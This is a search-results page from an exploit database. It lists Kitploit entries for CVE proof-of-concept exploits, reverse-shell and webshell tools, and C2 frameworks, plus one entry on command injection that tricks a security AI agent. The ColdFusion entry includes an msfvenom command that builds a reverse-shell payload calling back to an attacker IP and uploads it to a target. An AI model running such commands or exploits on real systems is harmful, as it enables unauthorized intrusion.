Lucene search
+L

34845 matches found

Kitploit
Kitploit
added 2026/09/13 4:56 p.m.4 views

CVE-2023-0830

CVE-2023-0830: EasyNAS 1.1.0 Authenticated OS Command Injection Exploit This Python script is a powerful exploit for EasyNAS version 1.1.0 with enhanced functionality, including an integrated listener. The vulnerability exploited is a command injection flaw, which requires authentication. The...

8.8CVSS7.1AI score0.20862EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/13 4:55 p.m.6 views

Webmin-CVE-2022-0824-revshell

Webmin-CVE-2022-0824-revshell Vulnerability Description Webmin 1.984 and below - File Manager privilege exploit CVE-2022-0824 and CVE-2022-0829 Less privileged Webmin users who do not have any File Manager module restrictions configured can access files with root privileges, if using the default...

9CVSS7AI score0.96977EPSS
SaveExploits14References1
Kitploit
Kitploit
added 2026/09/13 4:54 p.m.12 views

CVE-2024-21546

CVE-2024-21546 Python Exploit 🔥 Description This Python exploit script targets a vulnerable Laravel Filemanager created by UniSharp , which allows authenticated users to bypass file restrictions and upload malicious files. This can lead to Remote Code Execution RCE when the uploaded payload is...

9.8CVSS8.2AI score0.01275EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/13 4:53 p.m.7 views

CVE-2009-2265

Version: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Example :...

7.5CVSS6.7AI score0.83744EPSS
SaveExploits10
Kitploit
Kitploit
added 2026/09/13 4:51 p.m.16 views

porterminal

Hand a computer to an agent, full control, and watch it. One command, one URL. Also a slick terminal for your own phone. 1. uvx ptn 2. Hand the URL to an AI agent, or scan the QR yourself 3. Watch it work in any browser, and take over anytime !WARNING That complete URL is full access to this...

6AI score
SaveExploits0References6
Kitploit
Kitploit
added 2026/09/13 4:49 p.m.6 views

msmap

MSMAP Msmap es un generador de WebShells en Memoria. Compatible con varios Contenedores, Componentes, Codificadores, WebShell / Proxy / Killer y Clientes de Gestión. 简体中文 La idea detrás I, La idea detrás II, La idea detrás III Características WIP Función Menú Dinámico Compilación Automática Gener...

5.9AI score
SaveExploits0References4
Kitploit
Kitploit
added 2026/09/13 4:48 p.m.5 views

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - Ejecución remota de código mediante imagen Exploit de CVE-2019-8942 y CVE-2019-8943 usando python : ExploitDB : https://www.exploit-db.com/exploits/49512 El exploit original para metasploit : WordPress Core 5.0.0 - Carga de shell mediante recorte de imagen Metasplo...

8.8CVSS7AI score0.92642EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/09/13 4:48 p.m.9 views

unisoc-su

unisoc-su A method for CVE-2025-31710 and to connect to cmdskt abstract socket to obtain a root shell on unisoc unpatched models Before everyone screams, Unisoc itself authorized me to publish this after CVE-2025-31710 bullettin, so stay quiet. Let's start with a joke Yes, you are not dreaming,...

8.4CVSS5.9AI score0.00361EPSS
SaveExploits1References18
Kitploit
Kitploit
added 2026/09/13 4:47 p.m.10 views

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc a python PoC for the CVE-2019-15949 Overview A vulnerability exists in Nagios XI = 5.6.5 allowing an attacker to leverage an RCE to escalate privileges to root. The exploit requires access to the server as the 'nagios' user, or CCM access via the web interface with...

9CVSS7.5AI score0.77039EPSS
SaveExploits13
Kitploit
Kitploit
added 2026/09/13 4:46 p.m.7 views

CVE-2025-67511

CVE-2025-67511: Tricking a Security AI Agent Into Pwning Itself Hacktive Security blog post for CVE-2025-67511 Blog Post Link : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ TL;DR A command injection vulnerability in the function...

9.6CVSS6.1AI score0.02022EPSS
SaveExploits1References3
Kitploit
Kitploit
added 2026/09/13 4:36 p.m.8 views

Salsa-tools

root@kitploit: / / / / / / / / \ / / / / / / / / / / / / / / // / // / / / / // / // / //,///,/ // //// Salsa Tools - An AV-Safe Reverse Shell dipped on bellota sauce Salsa Tools is a collection of three different tools that combined, allows you to get a reverse shell on steroids in any...

6AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/13 4:36 p.m.7 views

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect Unauthenticated RCE Requirements Python 3.11 or higher tested on 3.11, 3.12, 3.13 Setup root@kitploit: Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt Usage root@kitploit:...

9.8CVSS8.5AI score0.82708EPSS
SaveExploits21
Kitploit
Kitploit
added 2026/09/13 4:35 p.m.11 views

ruler

简介 Ruler 是一款工具,允许你通过 MAPI/HTTP 或 RPC/HTTP 协议远程与 Exchange 服务器交互。其主要目标是滥用 Outlook 客户端侧的特性,远程获取一个 Shell。 关于 Ruler 的实现细节以及 MAPI 的背景信息,可以在我们的博客文章中找到: Ruler 发布 使用 Ruler 进行哈希传递 Outlook 表单与 Shell Outlook 主页——另一个 Ruler 攻击向量 查看实际演示: YouTube 上的 Ruler 它能做什么? Ruler 拥有多项功能,未来还计划添加更多功能。这些功能包括: 枚举有效用户 创建新的恶意邮件规则...

5.9AI score
SaveExploits0References14
Kitploit
Kitploit
added 2026/09/13 4:34 p.m.8 views

gimmeSH

gimmeSH For pentesters who don't wanna leave their terminals. Few Words gimmeSH, is a tool that generates a custom cheatsheet for Reverse Shell, File Transfer and Msfvenom within your terminal, you just need to provide the platform, your Internet protocol address and your port number. Installatio...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 4:34 p.m.49 views

pyradm

🔮 pyradm Remote administration crossplatfrom tool via telegram Coded with ❤️ python3 + aiogram3 https://t.me/whlab Screenshots Disclaimer All information contained in this repository is provided for educational and research purposes only The author is not responsible for any illegal use of this...

5.6AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/13 4:33 p.m.4 views

CVE-2021-25094-tatsu-preauth-rce

Preauth RCE in Tatsu builder Wordpress plugin CVE-2021-25094 Simple PoC of an unauthenticated RCE in Tatsu Builder = 3.3.11 provided as an example. Full write-up here: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ Usage: root@kitploit: python3 exploit-rce.py -h...

8.1CVSS7.7AI score0.83354EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/13 4:32 p.m.5 views

DirtyPipePython

dirty.py Description This is an exploit for the Linux kernel vulnerability CVE-2022-0847 DirtyPipe discovered by Max Kellerman. This code combines two existing DirtyPipe POC's into one: febinrev Overwrites sudo binary to directly pop a root shell eremus-dev A direct copy of Kellerman's POC into...

7.8CVSS7.2AI score0.89721EPSS
SaveExploits102References2
Kitploit
Kitploit
added 2026/09/13 4:29 p.m.49 views

zuthaka

A collaborative free open-source Command & Control integration framework that allows developers to concentrate on the core function and goal of their C2. Explore the docs » · Report Bug · Request Feature · Table of Contents 1. About The Project Problem statement Solution Built With 2. Already...

5.6AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/13 4:27 p.m.6 views

QuasarNix

QuasarNix: Adversarially Robust Living-off-the-Land Reverse-Shell Detection Dmitrijs Trizna · Luca Demetrio · Battista Biggio · Fabio Roli Overview Linux living-off-the-land LOTL reverse shells abuse legitimate binaries bash, python, nc, … to establish covert outbound connections, making...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 4:26 p.m.4 views

CVE-2024-40453

CVE-2024-40453 - Squirrelly v9.0.0 RCE 免责声明: 本脚本仅供教育用途。 请勿将其用于非法目的。 如果用于非法目的,责任完全由使用者承担;本人不对任何滥用行为负责。 描述 该脚本会在当前目录下创建一个名为 payload.sh 的反向 Shell。 然后它在 80 端口上托管一个 HTTP 服务器,供受害者拉取 payload.sh。 攻击者机器上需要启动一个监听器。 HTTP 服务器会在 3 秒后关闭,以便受害者拉取并执行 payload.sh。 漏洞利用说明 基于以下信息,开发了此概念验证(POC)。...

9.8CVSS6.2AI score0.01126EPSS
SaveExploits2
Rows per page
Query Builder